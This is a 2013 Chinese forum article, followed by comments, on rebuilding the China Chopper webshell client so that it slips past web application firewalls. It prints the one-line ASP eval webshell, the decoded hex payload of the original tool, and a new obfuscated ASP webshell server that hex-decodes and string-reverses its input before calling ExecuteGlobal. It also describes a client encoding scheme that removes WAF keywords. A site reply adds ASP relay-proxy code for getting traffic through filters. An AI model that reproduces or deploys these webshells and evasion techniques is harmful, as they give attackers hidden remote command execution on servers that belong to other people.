本文内容仅供研究,请勿用于非法用途!!!

很久很久以前,我在管理服务器的时候总喜欢放个一句话,然后菜刀连之,管理网站又方便又简单。

后来X客、X客、X客…… 也使用同样的方法“管理”网站和服务器。网站木马的查杀遇到了不少困难,各种隐藏、编码。

再后来研究攻击的同学都改行做防御了,于是狗、神、盾…… 出现并且普及了。为了方便我也在服务器上装了X狗,虽然起到了一定的作用,但是菜刀也就没法用了。用OD修改了菜刀,但用了不长时间又不能用了(想必用此方法的坏同学不少),多次修改后发现关键代码都写到服务端了。这其间给自己带来了不少麻烦,于是决定研究一下菜刀和X狗(神、盾没研究过,原理应该相近);于是就有了这篇文章,方便遇到同样问题的网管朋友解决问题。

本文没什么技术,也没有什么水平,仅供消遣大牛勿喷。

下面开始我们的自写菜刀之旅吧……

工具:任意一面向对象的编程语言(我用的是VB)

原版菜刀(不好意思了,为了加快打造进程,拿来截一下数据,拿来主义……)

WinSock Expert(任意可截数据包的工具都行,不一定非要这个)

ASP+.NET+PHP运行环境(至于JSP、CFM等,自已发挥吧)

(BurpSuite-Repeater)/(WinSock Expert-NC)/(Firefox-Hackbar)(可以Post数据的都行,方便调试的)

SQL(这个是必须的,至少要懂ACCESS)

步骤:

Step1: (VB)新建窗体,在窗体上画好控件。要用到的控件有SSTab、ListView、TextBox、TreeView、PictureBox、CommonDialog、ComboBox、StatusBar、CommandButton、Inet、ImageList、Label、Adodc、RichTextBox、Timer。

1、主窗体布局

主窗体布局

2、文件管理窗体布局

文件管理窗体布局

3、数据库管理窗体布局

数据库管理窗体布局

4、文件编辑窗体布局

文件编辑窗体布局

5、虚拟终端窗体布局

虚拟终端窗体布局

Step2:截取原版菜刀和服务端的往来数据包加以分析

原菜刀Post的数据(ASP)如下:

原菜刀Post的数据(ASP)如下:

其中有N多WAF检查的关健字,我的目标是让Post的数据中不存在任何关健字。

原菜刀Post到服务端的数据经解码后如下(我使用的服务端是<%eval request("z")%>):

z=Execute("Execute(""On+Error+Resume+Next:Function+bd(byVal+s):For+i=1+To+Len(s)+Step+2:c=Mid(s,i,2):If+IsNumeric(Mid(s,i,1))+Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End+If""&chr(10)&""Next:End+Function:Response.Write(""""->|""""):Execute(""""On+Error+Resume+Next:""""&bd(""""44696D20533A533D5365727665722E4D61707061746828222E2229266368722839293A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A4572722E436C6561723A456C73653A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329"""")):Response.Write(""""|<-""""):Response.End"")")

多次思量之后我决定将bd(Str)这个函数写进服务端,经过改进后服务端代码如下:

<%
Function MorfiCoder(Code)
  MorfiCoder=Replace(Replace(StrReverse(Code),"/*/",""""),"\*\",vbCrlf)
End Function

Function bd(ByVal s)
For i = 1 To Len(s) Step 2
c = Mid(s, i, 2)
If IsNumeric(Mid(s, i, 1)) Then
    bd = bd & Chr("&H" & c)
Else
    bd = bd & Chr("&H" & c & Mid(s, i + 2, 2))
i = i + 2
End If
Next
End Function
ExecuteGlobal MorfiCoder("))))/*/z/*/(tseuqer(db(redoCifroM( etucexe")
%>

客户端的Post的代码如下:

Post("z=" & be(DeMorfiCoder(Data)))——————伪代码

be(str)为bd(str)的编码函数;

DeMorfiCoder(str)为MorfiCoder(str)的编码函数;

其实MorfiCoder(Code)和bd(ByVal s)用一个就可达到满意的效果了,我使用两个只是画蛇添足而已。另外也不仅仅只限这两个函数,只要可以编码字符串并可写出解码还原的函数都可以(注意传输过程中的转义等等)。

至此只剩下服务端一个关键字,而且在Post的数据中也不再有任何关键字了(原菜刀的z0、z1等也可以通过更改Post数据来替换)。

改进后Post的数据包

Step3:接收返回数据,进行字串处理

原版菜刀返回数据的格式(Readme.txt中也有):

->|c:\inetpub\wwwroot C:D:E:F:G:H:I:J:K:|<-

我并没有采用这种格式,我是将返回的数据前加一段字符串以区分获取目录、读写文件等不同的操作。

我使用的格式是:

Step1{||}c:\inetpub\wwwroot{||}C:\D:\E:\F:\G:\H:\I:\J:\K:\{||}

StepX用于区分不同的操作,之后将字符串以{||}分割存入数组以进行下一步操作。

在获得返回数据并具存入数组后,就可以开始TreeView和ListView等事件的编写了。这些都依照原版菜刀,在这个过程中我也加入了菜刀不具有的功能,比如查询主机的地理位置、更改文件属性等。

最终效果:

1、客户端列表

1、客户端列表

2、文件列表

2、文件列表

3、数据库管理

3、数据库管理

4、文件编辑

4、文件编辑

5、虚拟终端

5、虚拟终端

不知道现在的WAF有没有拦截返回数据的,我使用的菜刀只对数据进行了单向编码;如果返回数据中也有敏感字符的话,是不是也会被拦呢…… 那时返回数据也得进行编码了,客户端接收到数据后再解码还原。至于服务端代码,除非完全杀了Eval、Execute、ExecuteGlobal、assert、include……否则是不能赶尽杀绝的(最根本的方案是厂商在Web容器中检测危险代码,容器环境中的检测均会出现N多绕过——我的愚见)。

如果您是程序猿的话,我所写的这些对您来说简直是垃圾中的垃圾,勿喷……*^_^*

[原文地址]

相关讨论:

1#

Csser | 2013-11-11 18:51

看起来很nice

2#

NetSeif | 2013-11-11 18:52

不明觉厉!

3#

园长 (你在身边就是缘,缘分写在数据库里面。) | 2013-11-11 18:55

改改界面就行了,略改下关键字毕竟脚本都已经写好了。

4#

MeirLin (心若在~梦就在~) | 2013-11-11 18:55

加闪电的节奏、

5#

国士无双 (你这个是跟我闹呐?) | 2013-11-11 20:05

非常好,关注之~

6#

insight-labs (Root Yourself in Success) | 2013-11-11 20:29

@园长

写个java的吧……

7#

汉时明月 (?......核审在正长超名签 :) | 2013-11-11 22:57

大牛啊,能否分享一下vb源码

8#

Matt | 2013-11-11 23:08

其实没必要重写UI,像剑心说的 写个中转程序 里面修改下就哦了

9#

冷冷的夜 (从前有个人,他不喜欢我;后来,他死了) | 2013-11-11 23:12

nice,球代码学习一下

10#

nauscript (@VIP @齐迹 @园长 @ACGT @z7y @小胖子@PX1624) | 2013-11-11 23:20

赞一个

11#感谢(1)

船长 (0day溢出大量放送,点击右边感谢,马上送出) | 2013-11-11 23:22

学习 求源码一份

12#

落叶纷飞 (im luoye,Once the 00day) | 2013-11-12 09:11

楼主是BK的?

13#

RedFree (才发现了,自己是自己的神器。) | 2013-11-12 09:39

@落叶纷飞 何为BK?不解其意。

14#

逝情 (弱爆了弱爆了) | 2013-11-12 09:57

不错,收集了。

15#

乌帽子 (儿啊,到大城市切莫乱搞女人啊,染上什么病回来传染给) | 2013-11-12 10:43

好山寨,代码不会写怎么办?

16#

RedFree (才发现了,自己是自己的神器。) | 2013-11-12 11:14

@乌帽子 Post的数据包全部山寨于原菜刀,只要做好字符串、各种编码的处理就行了。

17#

核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2013-11-12 16:19

嗯,自己动手!丰衣足食!严重鼓励!

18#

RedFree (才发现了,自己是自己的神器。) | 2013-11-12 16:35

@核攻击 鼓励也要用“严重”这个词,我都有点害怕了……

留言评论(旧系统):

佚名 @ 2013-11-13 23:45:38

怎么搞起的没有下载地址?

本站回复:

暂时木有……

flowind @ 2013-11-14 10:27:30

作用就一个过WAF.. 这样弄代码量以及工作量都很大.. 上面就提到直接写个代理中转.这个就简单. 关键适用性很好..不仅仅只适用于这一款软件. 很多不能过WAF都可以使用这样的代理中转..

本站回复:

正解!代理中转省事又高效!

佚名 @ 2013-11-15 16:12:27

请问一下,asp的怎么代理中转阿,不如php的可以直接用curl把post来的数据进行base64加密然后服务端进行解密。asp的该怎么实现类似的功能,有相关的文章吗? 对asp不是很熟啊,谢谢了

本站回复:

使用任何一个http通讯组件即可实现http数据转发,很简单的,例如最基本的代码: <% Dim WinHttp, Sql, Url Set WinHttp = Server.CreateObject("WinHttp.WinHttpRequest.5.1") Sql = Request("Sql") Url = "http://baidu.com/news/html/?" & Sql & ".html" 'Url = "http://baidu.com/news/html/?" & Server.URLEncode(Sql) & ".html" WinHttp.Open "GET", Url, False WinHttp.SetRequestHeader "Accept", "*/*" '接受数据类型 WinHttp.SetRequestHeader "Accept-Language", "zh-cn,zh" '用户系统语言 WinHttp.SetRequestHeader "User-Agent", "Mozilla/6.0" '用户浏览器信息 'WinHttp.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded" '编码方式 'WinHttp.SetRequestHeader "Content-Length", Len(Sql) '内容长度,Post 方式用的。 'WinHttp.SetRequestHeader "Accept-Encoding", "gzip, deflate" '编码类型,如果发送,会返回 gzip, deflate 压缩过的编码 'WinHttp.SetRequestHeader "Connection", "Close" 'Close = 不保持连接,Keep-Alive = 保持连接(持久连接) 'WinHttp.SetRequestHeader "Referer", "http://www.baidu.com/" '来路 'WinHttp.SetRequestHeader "Cookie", "test cookie!" '设置 Cookie WinHttp.Send '(Sql) 'Response.BinaryWrite WinHttp.ResponseBody Response.Write WinHttp.ResponseText %> 参考资料:http://lcx.cc/?i=2163

佚名 @ 2013-12-18 12:49:58

有偿求过狗刀,QQ:1340618936

本站回复:

。。。。。。